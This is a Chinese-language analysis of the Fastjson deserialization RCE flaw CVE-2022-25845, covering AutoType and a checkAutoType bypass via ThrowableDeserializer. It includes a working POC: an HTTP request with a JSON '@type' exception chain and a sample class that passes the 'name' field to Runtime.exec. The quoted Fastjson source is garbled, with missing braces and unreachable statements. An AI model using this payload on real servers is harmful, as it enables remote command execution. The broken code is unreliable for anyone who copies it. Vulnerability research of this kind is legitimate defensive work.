【漏洞分析】Fastjson最新版本RCE漏洞

01漏洞编号

CVE-2022-25845

CNVD-2022-40233

CNNVD-202206-1037

二、Fastjson知多少

万恶之源AutoType

Fastjson的主要功能是将Java Bean序列化为JSON字符串，这样得到的字符串就可以通过数据库等方式进行持久化了。

但是，Fastjson在序列化及反序列化的过程中，没有使用Java自带的序列化机制，而是自定义了一套机制。

对于JSON框架来说，想要把一个Java对象转换成字符串，有两种选择：

1、基于属性

2、基于Setter/Getter

在我们常用的JSON序列化框架中，Fastjson和Jackson将对象序列化成Json字符串时，是通过遍历该类中所有的Getter方法来进行的。而Gson不是这么做的，它是通过反射遍历该类中的所有属性，并把其值序列化为Json 。

假设我们有下面这个Java类：

class Store {
private String name;
private Fruit fruit;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Fruit getFruit() {
return fruit;
}
public void setFruit(Fruit fruit) { 
this.fruit = fruit;
} 
}
interface Fruit {
}
class Apple implements Fruit {
private BigDecimal price;
//省略 setter/getter、toString等 
}
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当我们对它进行序列化时，Fastjson会扫描其中的Getter方法，即找到getName和getFruit，这时就会将Name和Fruit两个字段的值序列化到JSON字符串中。

那么问题来了，上面定义的Fruit只是一个接口，序列化的时候Fastjson能将属性值正确序列化出来吗？如果可以的话，反序列的时候，Fastjson会把这个Fruit反序列化成什么类型呢？

我们尝试基于Fastjson v1.2.68验证一下：

Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);

以上代码比较简单，我们创建了一个store，为它指定了名称，并创建了Fruit的子类型Apple，然后将store用JSON.toJSONString进行序列化，可以得到以下JSON内容：

toJSONString : {
"fruit":{
"price":0.5
}
,"name":"Hollis"
}

那么，Fruit的类型是什么呢，能否反序列化为Apple呢？我们再来执行以下代码：

Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);

执行结果如下：

toJSONString : {
"fruit":{
"price":0.5
}
,"name":"Hollis"
}
parseObject : Store{
name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)

可以看到，在将store反序列化后，我们尝试将Fruit转换成Apple，但抛出了异常，如果直接转换成Fruit则不会报错，如下：

Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);

从以上现象中我们得知，当一个类中包含了一个接口（或抽象类）的时候，使用Fastjson进行序列化，会将子类型抹去，只保留接口（抽象类）的类型，使得反序列化时无法拿到原始类型。

如何解决这个问题呢？Fastjson引入了AutoType，在序列化时，把原始类型记录下来。使用方法是通过SerializerFeature.WriteClassName进行标记，即将上述代码中的：

String jsonString = JSON.toJSONString(store);

修改为：

String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);

修改后的代码输出结果如下：

System.out.println("toJSONString : " + jsonString);
{
"@type":"com.hollis.lab.fastjson.test.Store",
"fruit":{
"@type":"com.hollis.lab.fastjson.test.Apple",
"price":0.5
}
,
"name":"Hollis"
}

可以看到，使用SerializerFeature.WriteClassName进行标记后，JSON符串中多出了一个@type字段，标注了类对应的原始类型，方便在反序列化的时候定位到具体类型。**

如上，将序列化后的字符串再反序列化，就可以顺利拿到Apple类型，整体输出内容如下：

toJSONString : {
"@type":"com.hollis.lab.fastjson.test.Store","fruit":{
"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5
}
,"name":"Hollis"
}
parseObject : Store{
name='Hollis', fruit=Apple{price=0.5}}
getFruit : Apple{price=0.5}

这就是Fastjson中引入AutoType的原因，但是也正因为这个特性，因为功能设计之初在安全方面考虑不周，给后续的Fastjson使用者带来了无尽的痛苦。

checkAutoType

Fastjson为了实现反序列化引入了AutoType，造成：

1、Fastjson是基于内置黑名单来实现安全的，打开AutoType后可能造成安全风险，即绕过黑名单。

2、关闭AutoType后，是基于白名单进行防护的，此次解析的漏洞就是在未开启AutoType时产生的。

从v1.2.25版本开始，Fastjson默认关闭了AutoType支持，并且加入了checkAutoType，加入了黑白名单来防御AutoType开启的情况。

Fastjson绕过历史可以分为AutoType机制绕过和黑名单绕过，绝大部分情况都是寻找一个新的利用链来绕过黑名单，所以Fastjson官方的黑名单列表越来越大；但是更有意义的绕过显然是AutoType机制绕过，这样无需手动配置autoTypeSupport也可能进行利用。

我们先来看一下通过checkAutoType()校验的方式有哪些：

1、白名单里的类

2、开启了AutoType

3、使用了JSONType注解

4、指定了期望类（expectClass）

5、缓存在mapping中的类

6、使用ParserConfig.AutoTypeCheckHandler接口通过校验的类

三、攻击思路

**目标：**绕过AutoType机制

**手段：**通过checkAutoType()校验

**方法：**寻找使用checkAutoType()的函数，并使之通过checkAutoType()校验

通过研究v1.2.50和v1.2.68的绕过方式，主要是在ObjectDeserializer接口的子类JavaBeanDeserializer中存在expectClass非空的checkAutoType调用，这也是绕过的关键。顺着这个思路，我们继续在ObjectDeserializer接口的其他子类中寻找expectClass非空的checkAutoType调用，发现在子类ThrowableDeserializer的函数deserialze中也存在满足条件的调用。
1666582209_635606c1646616c63e76f.jpg

1.2.80版本的checkAutoType代码如下：

public Class<?> checkAutoType(Class type) {
if (get(type) != null) {
return type;
}
return checkAutoType(type.getName(), null, JSON.DEFAULT_PARSER_FEATURE);
}
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
return checkAutoType(typeName, expectClass, JSON.DEFAULT_PARSER_FEATURE);
}
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
}
if (autoTypeCheckHandlers != null) {
for (AutoTypeCheckHandler h : autoTypeCheckHandlers) {
Class<?> type = h.handler(typeName, expectClass, features);
if (type != null) {
return type;
}
}
}
final int safeModeMask = Feature.SafeMode.mask;
Boolean safeMode = this.safeMode
|| (features & safeModeMask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;
if (safeMode) {
throw new JSONException("safeMode not support autoType : " + typeName);
}
if (typeName.length() >= 192 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}
final Boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else {
long expectHash = TypeUtils.fnv1a_64(expectClass.getName());
if (expectHash == 0x90a25f5baa21529eL
|| expectHash == 0x2d10a5801b9d6136L
|| expectHash == 0xaf586a571e302c6bL
|| expectHash == 0xed007300a7b227c6L
|| expectHash == 0x295c4605fd1eaa95L
|| expectHash == 0x47ef269aadc650b4L
|| expectHash == 0x6439c4dff712ae8bL
|| expectHash == 0xe3dd9875a2dc5283L
|| expectHash == 0xe2a8ddba03e69e0dL
|| expectHash == 0xd734ceb4c3e9d1daL
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}
String className = typeName.replace('$', '.');
Class<?> clazz;
final long h1 = (fnv1a_64_magic_hashcode ^ className.charAt(0)) * fnv1a_64_magic_prime;
if (h1 == 0xaf64164c86024f1aL) {
// [
throw new JSONException("autoType is not support. " + typeName);
}
if ((h1 ^ className.charAt(className.length() - 1)) * fnv1a_64_magic_prime == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}
final long h3 = (((((fnv1a_64_magic_hashcode ^ className.charAt(0))
* fnv1a_64_magic_prime)
^ className.charAt(1))
* fnv1a_64_magic_prime)
^ className.charAt(2)) 
* fnv1a_64_magic_prime;
long fullHash = TypeUtils.fnv1a_64(className);
Boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,  fullHash) = 0;
if (internalDenyHashCodes != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= fnv1a_64_magic_prime;
if (Arrays.binarySearch(internalDenyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= fnv1a_64_magic_prime;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {
continue;
throw new JSONException("autoType is not support. " + typeName);
clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
if (clazz == null) {
clazz = typeMapping.get(typeName);
}
if (internalWhite) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& clazz != java.util.LinkedHashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= fnv1a_64_magic_prime;
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
// white list
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (clazz == null) {
return expectClass;
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
Boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
}
catch (Exception e) {
// skip
}
finally {
IOUtils.close(is);
}
final int mask = Feature.SupportAutoType.mask;
Boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
if (autoTypeSupport || jsonType || expectClassFlag) {
Boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
if (clazz != null) {
if (jsonType) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
}
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
|| javax.sql.RowSet.class.isAssignableFrom(clazz) //
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
 }
 }
 if (!autoTypeSupport) {
 throw new JSONException("autoType is not support. " + typeName);
}
 if (clazz != null) {
TypeUtils.addMapping(typeName, clazz);
}
 return clazz;
}

四、POC

按照上面思路构造POC如下：

POST /fastjson HTTP/1.1
Host: 172.31.1.101:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64;
x64;
rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;
q=0.9,image/avif,image/webp,*
/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 117
{
"@type": "java.lang.Exception",
"@type": "com.example.springfastjson.model.poc20220523",
"name": "control"
}

代码中需要有如下的类：

package com.example.springfastjson.model;
import java.io.IOException;
public class poc20220523 extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
}
catch (IOException e) {
e.printStackTrace();
}
}
}

五、代码分析

通过一系列的字符检查之后，@type": "java.lang.Exception"步入到checkAutoType 。

image.png

经过checkAutoType函数检查。
image.png

尝试从缓存mapping中实例化clazz（TypeUtils.addBaseClassMappings已经将java.lang.Exception加入了mapping）：
image.png
image.png

往下走getDeserializer返回的ObjectDeserializer为ThrowableDeserializer类型。
image.png
image.png

进入ThrowableDeserializer.deserialze，顺利到达checkAutoType 。
image.png

参数传到checkAutoType函数，且expectClass不为空，顺利绕过checkAutoType函数。

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image.png
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